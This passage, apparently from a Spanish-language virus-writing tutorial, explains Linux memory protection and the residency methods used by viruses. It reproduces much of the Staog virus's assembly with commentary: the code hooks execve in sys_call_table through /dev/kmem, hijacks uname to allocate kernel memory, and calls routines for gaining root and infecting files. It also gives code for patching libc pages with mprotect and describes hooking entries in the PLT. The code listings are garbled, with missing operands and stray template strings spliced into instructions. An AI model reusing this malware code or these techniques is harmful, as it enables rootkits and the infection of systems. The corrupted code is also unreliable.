datos la direccion de la idt nop sgdt [datos] ;obtengo en datos la direccion de la gdt nop sldt [datos] ;obtengo en datos la direccion de la ldt nop ret [SECTION .data] datos dd 0x0,0x0 Ejecutanto paso a paso, y leyendo el valor almacenado en datos obtenemos los siguientes volcados de memoria. (0x80495ed=direccion de la variable datos) Volcado despues de SIDT (gdb)x/2 0x80495ed 0x80495ed : 0x501007FF 0x0807C180 Volcado despues de SGDT (gdb)x/2 0x80495ed 0x80495ed : 0x6880203F 0x0807C010 Volcado despues de SLDT (gdb)x/2 0x80495ed 0x80495ed : 0x688002Af 0x0807C010 La Primera y segunda instruccion en ensamblador devuelven en los 16 primeros bits de Datos el limite de la IDT y de la GDT respectivamente y en los 32 siguientes Bits la Direccion lineal de esas estructuras. Mientras que SLDT unicamente devuelve un selector que apunta a su descriptor dentro de la GDT ( Cada LDT tiene que tener definido un descriptor en la GDT). Por lo tanto sabemos que la IDT tiene como direccion base 0xC1805010 y que su limite es de 0x7FF bytes. La GDT tendra como direccion 0xC0106880 y tendra un tamaño de 0x203f bytes Y de la LDT sabemos por ahora unicamente que su descriptor es 0x2AF. Como era de esperar son direcciones por encima de 0xC0000000 por lo que estan bien protegidas de los procesos de usuario. Otra manera de acceder a la memoria del kernel,podria consistir en mapear paginas del kernel por debajo de la direccion 0xC0000000 ,pero desgraciadamente eso no es posible ya que la propia tabla de paginas se mapea a partir de la direccion 0xC0000000, por lo que no pude ser modificada por procesos de ring3. Linux mapea toda la memoria fisica de tu maquina a partir de la direccion lineal 0xC0000000 o lo que es lo mismo la direccion virtual 0x0 utilizando el segmento del kernel 0x10. Por lo que se pude elaborar un modulo que lea el registro CR3 que contiene la direccion fisica de la tabla de paginas y con esa informacion visualice la paginas mapeadas. El programa seria el siguiente: /******************************************************** Lector de la Tabla de Paginas *********************************************************/ /* Formato de una entrada 31-12 11-9 7 6 5 2 1 0 address OS 4M D A U/S R/W P Si p=1 pagina esta en memoria Si R/W=0 significa que es de solo lectura Si U/S=1 significa que es una pagina de usuario Si A=1 significa que la pagina a sido accedida Si D=1 page dirty Si 4M=1 es una pagina de 4M (solo para entrada de la tdd) OS es especifico del sistema operativo */ #include #include #include #include #include #include #include #include #include #include #ifdef MODULE extern void *sys_call_table[]; unsigned long *tpaginas; unsigned long r_cr0; unsigned long r_cr4; /* leo cirtos registros interesantes */ int init_module(void) { unsigned long *temp; int x,y,z; /* Leo la direccion fisica de la tabla de paginas que corresponde con la direccion virtual */ /* Y de paso leo algunos registros del procesador interesantes como cr0 y cr4 */ /* Como se ve en cr4 esta activada la opcion de paginas de 4M */ /* Y en cr0 el bit WP activo :) */ __asm(" movl %cr3,%eax movl %eax,(tpaginas) movl %cr0,%eax movl %eax,(r_cr0) movl %cr4,%eax movl %eax,(r_cr4) "); x=tpaginas+0xc0000000; printk(" La direccion fisica y virtual \n"); printk(" de la tabla de pagina es : %x\n",tpaginas); printk(" Registro de Control Cr0: %x\n",r_cr0); printk(" Registro de Control Cr4: %x\n",r_cr4); for (z=0;z<90000000;z++){} for(x=0x0;x<0x3ff;x++) { if (((unsigned long) *tpaginas & 0x01) == 1) { printk("Entrada %x -> %x ",x,(unsigned long) *tpaginas & 0xfffff000); printk(" u/s:%d r/w:%d\n",(((unsigned long) *tpaginas & 0x04)>>2),(((unsigned long) *tpaginas & 0x02)>>1)); printk(" OS:%x ",((unsigned long) *tpaginas &0xffff ) >>9 ); printk(" p:%d\n",((unsigned long) *tpaginas & 0x01)); if ((((unsigned long) *tpaginas & 0x80)>>7)==1) { printk("En la direccion virtual-> %x",x<<22); printk(" hay una pagina de 4M \n"); for (z=0;z<90000000;z++){}; tpaginas++; continue; }; for (z=0;z<4000000;z++){}; temp=((unsigned long) *tpaginas & 0xfffff000); /*en temp la direccion de la tabla de paginas */ if (temp!=0 && ((unsigned long) *tpaginas & 0x1)) { for (y=0;y<0x3ff;y++) { if (((unsigned long) *temp & 0x01) == 1) { printk("Virtual %x -> %x ",(x<<22|y<<12),((unsigned long) *temp & 0xfffff000)); printk(" u/s:%d r/w:%d",(((unsigned long) *temp & 0x04)>>2),(((unsigned long) *temp & 0x02)>>1)); printk(" OS:%x ",((unsigned long) *temp &0xffff ) >>9 ); printk(" p:%d\n",((unsigned long) *temp & 0x01)); }; if (*temp!=0) {for (z=0;z<4000000;z++){}}; /* relentizador */ temp++; }; }; }; tpaginas++; }; } void cleanup_module(void) { } #endif Tras la ejecucion de este programa se pude obtener todas las paginas mapeadas en ese momento y los atributos de proteccion de cada pagina. Las primeras paginas que veriamos serian las paginas de solo lectura del proceso en ejecucion en ring3 sobre la direccion 8040000 con atributos de solo lectura y el bit de usuario, las siguientes corresponderian a las paginas de lectura/escritura del ejecutable con atributos de usuario tambien. Luego en la direccion 40000000 tendriamos la libreria libc mapeada de una manera similar primero codigo de r/w y luego algunas paginas de solo lectura. Cuando llegamos a la direccion lineal 0xC0000000 entramos en el maravilloso segmento del nucleo donde esta mapeada toda la memoria fisica de tu ordenador ,si tienes Pentium o superior utilizara paginas de 4 Megas. Es decir que si tienes 16 megas de RAM a partir de la la direccion 0xC0000000 linux utilizara 4 entradas de la tabla de directorios de paginas para mapear esos 16 Megas , si tuvieras 32 utilizara 8 etc. Este sistema nos lleva a realizarnos perguntas interesante como por ejemplo ¿que ocurriria si tuvieramos mas de 1 G de memoria fisica ? En esas paginas reside el propio codigo del nucleo ademas de estructuras importantes como la tabla de Paginas , y curiosamente carece de proteccion por paginacion , utiliza atributos de r/w y el bit de usuario para marcar las paginas, por lo que modulos mal programados que intenten sobreescribir el codigo del nucleo lo lograran sin producirse nigun fallo de proteccion :). Pero eso no es todo despues de mapear toda la memoria fisica de la maquina. Mapea algunas paginas de 4 kb todas con atributos de Sistema, todas excepto una que es la que utiliza para guardar la IDT (tabla de interrupciones) que es la unica con atributos de solo lectura y bit S, por lo que modulos mal programados que intenen acceder a esa tabla no la lograran modificar sino que moriran por fallo de proteccion y el sistema permanecera estable. El echo de que un proceso de ring0 no pueda modificar una pagina de solo lectura es gestionado por el bit WP del registro de control CR4. Si ese bit esta a 1 entonces los procesos de ring0 no podran escribir en paginas de solo lectura ni de usuario de del kernel. Si ese bit esta a 0 la proteccion de memoria funciona como en un 386 y un proceso de ring0 puede hacer lo que le venga en gana, pudiendo modificar cualquier pagina mapeada, sean cuales sean sus atributos de proteccion. Por lo que un modulo de linux si desea modificar la IDT tendra primero que desactivar el bit WP de CR4 para poder escribir, o modificar los atributos de esa pagina en la tabla de paginas. Por todo lo dicho, el verdadero mecanismo de proteccion de linux es la segmentacion y no la paginacion como ocurre en NT. Si tuvieramos segmentos de 4 G como ocurre en NT y la paginacion siguiera tal cual, tendriamos libre acceso al codigo del kernel, pero ese no es el caso. NOTA: Versiones actuales como la 2.2.XX del nucleo utilizan una proteccion similar a win NT con segmentos de 4 G , desgraciadamente no he podido ver la Tabla de paginas en estas versiones , pero es de locos pensar que permanece constante. Otra posibilidad de conseguir ring0 consiste en la utilizacion de la llamada a sistema modify_ldt para generar un call gate. Esta llamada a sistema se creo para que el WINE pueda emular el sistema de memoria de Windows, donde los descriptores de segmentos de usuario residen en la LDT y no en la GDT, y donde se pude direccionar toda la memoria mediante esos segmentos. Generar un Call Gate mediante modify_ldt seria posible si pudieramos escribir en todos los campos de cada entrada generada, pero eso no es posible. En primer lugar modify_ldt no acepta como entrada un descriptor de segmento de INTEL, sino que utiliza esta pseudo estructura que luego se traducira a un descriptor en formato INTEL dentro de la llamada. struct modify_ldt_ldt_s { unsigned int entry_number; /* La entrada que queremos modificar */ unsigned long base_addr; /* La direccion base del segmento */ unsigned int limit; /* El limite del segmento */ unsigned int seg_32bit:1; /* Si es de 32 o 16 bits */ unsigned int contents:2; /* Si es de datos , codigo o stack */ unsigned int read_exec_only:1; /* Atributos de proteccion */ unsigned int limit_in_pages:1; unsigned int seg_not_present:1; /* Si esta en memoria o no */ unsigned int useable:1; }; Si vemos el codigo de la llamada en el archivo /usr/src/linux/arch/i386/kernel/ldt.c Este codigo indica la transformacion de esa estructura a un descriptor de intel. *lp = ((ldt_info.base_addr & 0x0000ffff) << 16) | (ldt_info.limit & 0x0ffff); *(lp+1) = (ldt_info.base_addr & 0xff000000) | ((ldt_info.base_addr & 0x00ff0000)>>16) | (ldt_info.limit & 0xf0000) | (ldt_info.contents << 10) | ((ldt_info.read_exec_only ^ 1) << 9) | (ldt_info.seg_32bit << 22) | (ldt_info.limit_in_pages << 23) | ((ldt_info.seg_not_present ^1) << 15) | 0x7000; ldt_info es la estructura que hemos pasado como parametro y *lp es un puntero dentro de la ldt donde reside la entrada de segmento que queremos modificar. Viendo la estructura de una entrada de INTEL podemos entender la transformacion. 63-54 55 54 53 52 51-48 47 46-45 44 43-40 39-16 15-0 base G D R U limit P DPL S type base limit 31-24 19-16 23-0 15-0 Mediante *lp rellenamos los 32 primeros bits de la entrada que corresponden a los 16 primeros bits del limite y a los 16 primeros bits de la direccion base y mediante *(lp+1) rellenamos el resto de informacion. Pero despues de realizar todas las operacion con ldt_info existe una operacior or con la constante 0x7000.Pasando a binario esta constante obtenemos 0111000000000000 por lo que sabemos que siempre los descriptores generados tendran los bits 44 45 y 46 activos.Estos bits corresponden con el bit S y la DPL. DPL es igual a 0 para el kernel y 11 para los usuarios , asi que solo podremos generar segmentos que sean de usuario.Esto da realmente igual para la generacion de Call Gates ya que el call gate tiene que ser de usuario para que este lo pueda utilizar. Pero el siguiente Bit el Bit S si que tiene importancia.El bit S se pone a 1 cuando es un segmento normal, y a 0 cuando es un segmento de sistema como las TSS o los Call Gates, asi que la generacion de Call Gates es Imposible mediante modify_ldt. Modify_ldt tambien limita la creaccion de segmentos de limite superior a 0xC0000000 ,cosa que permitiria direccionar el espacio del kernel. Modify_ldt revisa el limite del segmento que queremos crear mediante la funcion limits_OK y retorna un valor booleano como se ve en esta instruccion. Last sera el ultimo byte accesible por el segmento y first el primero, y la constante TASK_SIZE toma el valor 0xC0000000 return (last >= first && last < TASK_SIZE); Si no podemos escribir en la IDT,GDT ,LDT ni en la tabla de paginas para saltar a ring0 y la llamda modify_ldt esta limitada para la generacion de Call Gates, otra posibilidad es utilizar archivos virtuales para acceder a la memoria del kernel. Esto tiene un inconveniente muy importante y es que a estos archivos como /dev/kmem o /dev/mem tiene acceso ,por defecto,unicamente el root. De todas formas es una de las alternativas mas razonables para la generacion de residentes globales para Linux. El Staog uno de los pocos virus para linux utiliza este metodo , ademas no se limita a esperar a que el root ejecute un archivo infectado sino que utiliza 3 exploits diferentes para conseguir acceso a /dev/kmem , aunque la utilizacion de exploits limita la infeccion a unas pocas versiones del kernel. /dev/kmem proporciona acceso a la memoria del kernel , el primer byte de ese archivo corresponde al primer byte del segmento del kernel, o lo que es lo mismo a la direccion lineal 0xC0000000. .text #Este es el codigo con el que intercepta #la llamada a sistema execve .string "Staog by Quantum / VLAD" .global main main: movl %esp,%ebp movl ,%eax #En primer lugar verifica si ya esta movl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x666,%ebx #residente haciendo una llamada execve int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 #con el valor 0x666 en ebx, si esta residente cmp {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x667,%ebx #el virus en memoria le devolvera el valor 0x667 jnz goresident1 jmp tmpend goresident1: movl 5,%eax #Este codigo tiene bastante importancia, movl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x8000000,%ebx #se llama a la llamada mprotect para desproteger movl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x4000,%ecx #las paginas de memoria del virus. Esto se hace movl ,%edx #Para no tener que modificar el archivo elf para int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 #poner los datos del virus en una seccion de datos #y el codigo en una de codigo. #Asi se pude poner todo en una misma pagina ,aunque #el virus resida en una seccion de codigo (solo lectura) #Y en el momento de ejecucion se desprotege. nota: Solo es posible ejecutar mprotect dentro de la memoria perprocess Lo primero que va intentar hacer es reservar memoria del kernel para copiar el codigo del virus alli, y luego modificara la entrada de la sys_call_table correspondiente a la execve para poner en su lugar un puntero a una rutina interceptora de esa llamada. Para reservar memoria dentro del kernel solo es posible con llamadas internas del kernel como kmalloc. Para poder ejecutarla el virus sobreescribe el codigo de la llamada a sistema uname utilizando /dev/kmem , y realiza una llamada a uname mediante la int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 cuando regresa de la interrupcion , ya habra ejecutado la rutina que pusimos alli que se encarga de llamar a kmalloc para reservar memoria. Pero antes de todo eso, necesita saber la direccion de uname. Para ello el virus recurre a la llamada a sistema get_kernel_syms, con ella puede obtener una lista con las funciones internas de Linux y tambien punteros a estructuras como la sys_call_table que es una array en memoria con punteros a las funciones accesibles mediante la int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 como la funcion uname. movl 0,%eax # En primer lugar obtengo el numero de symbolos movl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]},%ebx # pasando el ebx el valor 0 int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 # En eax devolvera el numero de symbolos shll ,%eax # Realizo un desplazamiento de bits hacia la izquierda # 6 posiciones.Esto es equivalente a multiplicar el numero # de simbolos por 64 que son los bytes que ocupa cada entrada # devuelta por get_kernel_syms. # Se obtiene la misma informacion que hay en el archivo # /proc/ksyms. # 4 bytes con una direccion del kernel y 60 bytes para el nombre # del symbolo subl %eax,%esp # Reservo espacio en la pila (el puntero de pila es %esp) movl %esp,%esi # antes de la llamada # El registro %esi apuntara a la estructura en memoria pushl %eax movl %esi,%ebx # obtengo los simbolos del kernel movl 0,%eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 pushl %esi nextsym1: # Aqui escaneo la tabla de simbolos en memoria en busca movl $thissym1,%edi # de la cadena current (en ASCII con 0 al final) push %esi addl ,%esi cmpb ,(%esi) jnz notuscore incl %esi notuscore: cmpsl cmpsl pop %esi jz foundsym1 addl ,%esi #Fijaos como incrementa de 64 en 64 para realizar las jmp nextsym1 #comparaciones foundsym1: movl (%esi),%esi movl %esi,current #Guardo el resultado de la busqueda en la variable popl %esi #current pushl %esi nextsym2: #Busco tambien el simbolo kmalloc movl $thissym2,%edi #de la misma manera push %esi addl ,%esi cmpsl cmpsl pop %esi jz foundsym2 addl ,%esi jmp nextsym2 foundsym2: movl (%esi),%esi movl %esi,kmalloc #Guardo el resultado de la busqueda en la variable popl %esi #kmalloc xorl %ecx,%ecx nextsym: # find symbol movl $thissym,%edi #Y ahora la direccion de sys_call_table movb ,%cl push %esi addl ,%esi rep cmpsb pop %esi jz foundsym addl ,%esi jmp nextsym foundsym: movl (%esi),%esi pop %eax addl %eax,%esp movl %esi,syscalltable #Guarda en la variable syscalltable la direccion xorl %edi,%edi #encontrada En este punto el virus ya sabe la posicion en memoria de la sys_call_table opendevkmem: movl $devkmem,%ebx #Abre el archivo /dev/kmem movl [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt],%ecx #en ebx un puntero al string con el nombre call openfile #y en ecx el modo ([*3] [http://www.govannom.org/seguridad/malware/lvirus.txt] lectura/escritura) orl %eax,%eax js haxorroot #Si no se pudo abrir se salta a una rutina movl %eax,%ebx #para conseguir acceso a /dev/kmem mediante #exploits #Fijaos que en %esi seguimos teniendo la direccion #de la sys_call_table , si a esta le sumamos #44 obtendremos un puntero a la direccion donde #reside el puntero a execve dentro de sys_call_table leal 44(%esi),%ecx # lseek a sys_call_table[SYS_execve] call seekfilestart movl $orgexecve,%ecx # leo el valor del puntero movl ,%edx # 4 bytes call readfile leal 488(%esi),%ecx # Ahora me muevo a la entrada correspondiente call seekfilestart # a uname dentro de sys_call_table movl $taskptr,%ecx # Y leo el valor de sys_call_table[SYS_uname] movl ,%edx # y lo guardo en la variable taskptr call readfile movl taskptr,%ecx # Me muevo al codigo donde esta la funcion call seekfilestart # uname en memoria subl $endhookspace-hookspace,%esp #Reservo espacio en la pila para el codigo #que voy a sobreescribir movl %esp,%ecx #Leo el codigo que voy a sobreescribir de uname movl $endhookspace-hookspace,%edx #sobre la pila call readfile movl taskptr,%ecx # Voy otra vez al comienzo de la rutina uname call seekfilestart movl filesize,%eax addl $virend-vircode,%eax movl %eax,virendvircodefilesize # Ahora escribo la rutina para reservar memoria sobre el codigo # de uname movl $hookspace,%ecx movl $endhookspace-hookspace,%edx call writefile movl 2,%eax # Hago una llamada a uname , pero lo que int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 # realmente se ejecutara sera nuestra rutina movl %eax,codeto # En eax devolvera la direccion que hemos reservado movl taskptr,%ecx # Me muevo otra vez al codigo de uname call seekfilestart movl %esp,%ecx # Y restauro el codigo original de uname movl $endhookspace-hookspace,%edx # que teniamos temporalmente sobre la pila call writefile # en su lugar original addl $endhookspace-hookspace,%esp # Elimino la memoria que habiamos reservado # en la pila subl $aftreturn-vircode,orgexecve movl codeto,%ecx # Muevo ahora el puntero al comienzo de subl %ecx,orgexecve # la zona en memoria que hemos reservado call seekfilestart movl $vircode,%ecx # Y escribo el codigo del virus en ella movl $virend-vircode,%edx call writefile leal 44(%esi),%ecx # Busco la entrada de la sys_call_table call seekfilestart # relativa a execve y modifico el puntero # original por un puntero a nuestra funcion addl $newexecve-vircode,codeto movl $codeto,%ecx # Escribo el nuevo puntero en la sys_call_table movl ,%edx call writefile call closefile # cierro /dev/kmem tmpend: call exit openfile: #llamadas a sistema realizadas mediante la int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 movl ,%eax #la funcion a realizar se pasa en el registro %eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 #ver /usr/include/sys/syscall.h para un listado ret #de las funciones. closefile: movl ,%eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 ret readfile: movl ,%eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 ret writefile: movl ,%eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 ret seekfilestart: movl ,%eax xorl %edx,%edx int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 ret rmfile: movl ,%eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 ret exit: xorl %eax,%eax incl %eax int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 thissym: #Aqui estan definidas algunas variables .string "sys_call_table" #Fijaos que estan en la misma seccion que el codigo #de ahi la utilizacion de mprotect. thissym1: .string "current" thissym2: .string "kmalloc" devkmem: .string "/dev/kmem" e_entry: .long 0x666 infect: # Rutina de infeccion # Aqui esta la rutina de infeccion de archivo ELF # Consiste en generar un archivo temporar con el codigo del virus # y ejecutarlo mediante execve. ret .global newexecve newexecve: pushl %ebp movl %esp,%ebp #en la pila estaran todos los registro pushl %ebx #del procesador ten en cuenta que estamos movl 8(%ebp),%ebx #dentro de una int {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x80 pushal cmpl {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x666,%ebx # Si nos han pasado un 0x666 en ebx jnz notserv # devolveremos 0x667 ya que es la marca de popal # residencia. incl 8(%ebp) popl %ebx popl %ebp ret notserv: call ring0recalc # Calculo el desplazamiento de direcciones ring0recalc: # de memoria popl %edi subl $ring0recalc,%edi movl syscalltable(%edi),%ebp # En %ebp la direccion de la syscalltable call saveuids call makeroot call infect # Infecto el archivo call loaduids hookoff: popal popl %ebx popl %ebp .byte 0xe9 # Voy a la funcion original execve orgexecve: # 0xe9 es el opcode de un jmp .long 0 # y los 4 bytes siguientes son los 4 bytes aftreturn: # de la variable orgexecve # el equivalente seria jmp orgexecve syscalltable: .long 0 current: .long 0 .global hookspace #Esta rutina es la que se encarga de reservar memoria hookspace: #Es la que sobreescribe el virus sobre la llamada push %ebp #uname. pushl %ebx pushl %ecx pushl %edx movl %esp,%ebp pushl .byte 0x68 virendvircodefilesize: .long 0 .byte 0xb8 # movl $xxx,%eax ;0xb8 es el opcode de un movl y los 4 bytes kmalloc: # siguientes corresponden a la variable kmalloc. .long 0 # con lo que al encontrar kmalloc en memoria se generara un call %eax # movl $kmalloc,%eax # y con el call %eax se salta a kmalloc para reservar memoria movl %ebp,%esp popl %edx popl %ecx popl %ebx popl %ebp ret .global endhookspace endhookspace: .global virend virend: 3.2 Residencia Global en Ring3. ------------------------------ La base de este metodo de residencia consiste en la intercepcion de rutinas en Ring3 y que son ejecutadas por todos los procesos. El codigo de Ring3 que pueden ejecutar todos los programas son las librerias. en Windows las denomidas DLL. Windows por ejemplo distribuye su memoria virtual en 4 arenas, cada arena tiene una utildad diferente y contiene diferente codigo y datos. Hay una arena dedicada al DOS que va de la direccion virtual 0 a 04000000 Otra dedicada a la memoria perprocess que va de 04000000 a 80000000 ,otra que maneja la memoria compartida por todos los procesos de 80000000 a C0000000 y otra dedicada a VXD es decir codigo del kernel que se ejecuta en Ring0 que va de C0000000 a FFFFFFFF. La libreria mas importante de windows es el Kernel32.dll y en ella residen las llamadas de creaccion de archivos, gestion de memoria etc. (en linux el equivalente podria ser la libreria libc). Los archivos en vez de utilizar directamente trap gates para realizar las llamadas a codigo de ring0 normalemente utilizan un mecanismo de linkado dinamico para saltar a codigo de las librerias (codigo de ring3) que realicen el salto a Ring0 para obtener el servicio del Kernel deseado. Windows 95 cometio un gran fallo de diseño al cargar la mayoria de las librerias en la arena de memoria compartida (el Kernel32.dll se carga en la direccion 0BFF70000). Localizar las librerias importantes en una arena compartida tiene la ventaja de que el sistema no tiene que cargar la libreria con cada archivo que importe llamadas de esa libreria, ya que esta se encuentra en la memoria de cada proceso. Este hecho hace tambien posible la intercepcion de llamadas a sistema sin necesidad de saltar a Ring0. Virus como el Win95.HPS o el win95.K32 utilizan este hecho para conseguir residencia global sin saltar a ring0. De todas formas esto no es tan facil como parece en Win95 ya que aunque el kernel no tiene proteccion por paginacion las librerias y los archivos tienen proteccion por paginacion en secciones de codigo. (para gestionar intentos de escritura en secciones de codigo). De todas formas estas se pueden desproteger facilmente utilizando llamadas a VXD como _pagemodifypermissions o llamadas a libreria como memoryprotect. En linux se podria intentar interceptar funciones como execve de la libreria libc situada a partir de la direccion virtual 0x40000000. Intentos por parte de un programa de escribir en secciones de codigo de esa memoria provocarian fallos de pagina, ya que hay proteccion por paginacion en secciones de codigo, igual que en secciones de codigo de ejecutables normales. Pero la funcion mprotect funciona tambien para el codigo de librerias ya que estas se situan en la memoria perprocess por debajo de 0xC0000000. Codigo como este permite desproteger paginas de librerias como libc. Como vimos en la introduccion la direccion de la funcion getpid de libc se carga en la direccion 0x40073000 en mi version de linux, por lo que sabemos que se es una seccion de codigo y por lo tanto estara protegida contra escritura. [section .text] [extern puts] [global main] main: pusha mov eax,0125 mov ebx,0x40073000 mov ecx,02000h mov edx,07h int 80h ;llamada a mprotect mov ebp,0x40073000 xor eax,eax ;pongo eax a 0 mov dword [ebp],eax ;escribo el valor que haya en eax en la direccion popa ;0x40073000 ret Notese que este mismo programa sin utilizar mprotect produciria un error de proteccion general. Ahora bien probemos de ejecutar simultaneamente 2 copias del programa. La primera copia se encarga de desprotejer una pagina de libc y modificar los 4 primeros bytes de la llamada getpid poniendolos a 0. La segunda copia se para con el gdb en la posicion main para comprobar que valor hay en los 4 primeros bytes de la direccion 0x40073000 . El valor no sera 0 sino los 4 bytes originales de la libreria. Esto es debido a que linux no carga sus librerias en arenas compartidas sino que las carga dentro de la memoria perprocess. Pero si la memoria perprocess es diferente para cada proceso ¿las librerias se cargan cada vez con cada ejecutable, ocupando memoria innecesaria? La respuesta es No, la solucion esta en el mecanismo de Copy-on-Write que permite la comparticion de paginas de memoria que sean de lectura/escritura entre procesos diferentes ,estando estas paginas en memoria del proceso. Cuando el programa se carga en memoria en la direccion 0x40073000 estara la pagina de memoria del programa padre y al intentar escribir en ella se producira una excepcion en la que el SO verificara si la pagina es de lectura/escritura o solo lectura. Si es de solo lectura se producira un fallo de pagina y si es de lectura/escritura el SO generara una copia de esa pagina para el proceso hijo de modo que cuando este escriba en ella realmente escribira en una pagina propia y no en la pagina del padre. Este metodo permite la comparticion de librerias en memoria manteniendo la seguridad ,evitando intentos indeseados de residencia global. Linux implementa memoria compartida ,pero es unicamente utilizado para mecanismos de comunicacion entre procesos (IPC). 3.3 Residencia Perprocess --------------------------- Como explique en la seccion de infeccion de archivos ELF, el format ELF es un formato bastante potente y entre sus funcionalidades mas importantes reside el lincado dinamico de funciones. Los ejecutables de linux realmente utilizan bastante poco la int 0x80 ,dejan esa tarea a librerias como libc.Mediante el uso de librerias se ahorra espacio en disco ya que no se tiene que insertar ese codigo en el archivo cada vez. Pero esas librerias puden cargarse en cualquier direccion dentro de la memoria perprocess. Eso hace necesario alguna clase de mecanismo que permita realizar llamadas a funciones en archivos o librerias diferentes, ese mecanismo es el linkado dinamico. Hay 2 secciones principales que se encargan de realizar el linkado dinamico de funciones. La seccion .plt (procedure linkage table) y la seccion .got (global offset table). El sistema de linkado dinamico de Linux tiene ventajas sobre otros sitemas.El formato de archivo PE de windows por ejemplo posee secciones especificas para realizar el linkado como la Import Table,en ella hay tantas entradas como funciones importadas de librerias y esas referencias a librerias se resuelven integramente por el SO en el momento de Carga. Linux en cambio no las resuelve en el momento da Carga, sino que espera a la primera ejecucion de una llamada a sistema para resolver la referencia a esa funcion. Con la primera ejecucion el sistema otorga el control al linkador dinamico que es una funcion dentro de la libreria que queremos llamar, entonces el linkador resuelve la referencia y pone la direccion absoluta de la llamada a sistema en una tabla en memoria del ejecutable llamada .got, de modo que las siguientes llamadas a esa funcion ya saltaran inmediatamente a la funcion sin tener que llamar al linkador dinamico. Con esto mejoramos la productividad del sistema evitando tener que resolver referencia a memoria que quizas el ejecutable no vaya a utilizar nunca. Si desensamblamos el siguiente ejecutable... #include void main() { getpid(); /* Primera llamada a getpid */ getpid(); /* Segunda llamada a getpid */ } Obtenemos el siguiente codigo en ensamblador 0x8048480
: pushl %ebp 0x8048481 : movl %esp,%ebp 0x8048483 : call 0x8048378 0x8048488 : call 0x8048378 0x804848d : movl %ebp,%esp 0x804848f : pop %ebp 0x8048490 : ret Las llamadas a GETPID se formaran como un salto a una entrada en la seccion .plt como vemos mediante el comando "info file" la seccion .plt estara mapeada de 0x08048368 a 0x080483c8. Si seguimos traceando dentro del codigo de la plt veremos el siguiente codigo. 0x8048378 : jmp *0x80494e8 0x804837e : push {jumi [*3] [http://www.govannom.org/seguridad/malware/lvirus.txt]}x0 0x8048383 : jmp 0x8048368 <_init+8> Esta sera la estructura basica de una entrada en la .plt. El primer jmp sera un salto a la direccion contenida en 0x80494e8. Esa direccion forma parte de la .got table y en el momento de carga del ejecutable contendra el valor 0x804837e (gdb)x 0x80494e8 0x80494e8 <__DTOR_END__+16>: 0x0804837e Como es la primera vez que llamamos a getpid en el ejecutable , este tendra que realizar un salto al linkador dinamico para obtener la direccion de la funcion en la libreria. Para eso realiza un push &0x0 donde 0x0 es un puntero dentro de la reloc area y que especifica al linkador dinamico cual es la entrada en la .got que tiene que modificar. despues realiza un jmp 0x8048368, donde 0x8048368 es la direccion de la primera entrada de la seccion .plt. La primera entrada de la .plt es especial ya que se utiliza unicamente para hacer llamadas al linkador dinamico. Si seguimos debugeando veremos la estructura de la primera entrada del .plt. 0x8048368 <_init+8>: pushl 0x80494e0 0x804836e <_init+14>: jmp *0x80494e4 primero pone en la pila el valor 0x80494e0 que corresponde a la segunda entrada de la seccion .got, y luego salta a la direccion contenida en la posicion 0x80494e4 (la tercera entrada del .got). Las tres primeras entradas del .got no contienen punteros a la .plt en el momento de carga sino que son entradas especiales. La primera contiene un puntero a la seccion .dynamic y la tercera se rellena con un puntero a la posicion del linkador dinamico. (gdb)x 0x80494e4 0x80494e4<__DTOR_END__+12>: 0x40004180 Por lo tanto si seguimos traceando veremos el codigo del linkador dinamico, ya en el espacio de memoria de la libreria. Cuando el programa retorne de la llamada a sistema, en la seccion .got correspondiente a getpid , el linkador habra puesto la direccion absoluta de la funcion. Si seguimos traceando ya en la segunda llamada a getpid podemos ver el nuevo valor en la seccion .got (gdb)x 0x80494e8 0x80494e8 <__DTOR_END__+16>: 0x40073000 con lo que con la instruccion jmp *0x80494e8 saltaremos directamente a la funcion sin necesidad de llamar al linkador . Este mecanismo permite la intercepcion de llamadas a sistema dentro de la memoria del propio proceso, es lo que se denomina residencia perprocess. Un virus con este mecanismo puede interceptar por ejemplo la llamada a execve modificando la entrada de la .plt correspondiente a esa llamada, sutituyendo el jmp *direccion_en_el_got por un jmp direccion_del_virus. De todas formas el virus al ejecutarse en ring3 tendra las eternas limitaciones en los accesos a ficheros y unicamente podra infectar archivos a los que el usuario infectado pueda acceder. Otra limitacion es que solo intercepta llamadas a sistema en archivos contaminados. archivos limpios ejecutandose concurrentemente no veran sus llamadas interceptadas por el virus. De todas formas las posibilidades de este metodo son bastante impresionantes en el caso de que un interprete de comandos como el bash o el sh consiga ser infectado , entonces al ser comandos ejecutados por todos los usuarios , la intercepcion de execve de forma perprocess podria ser tan efectiva como una residencia global.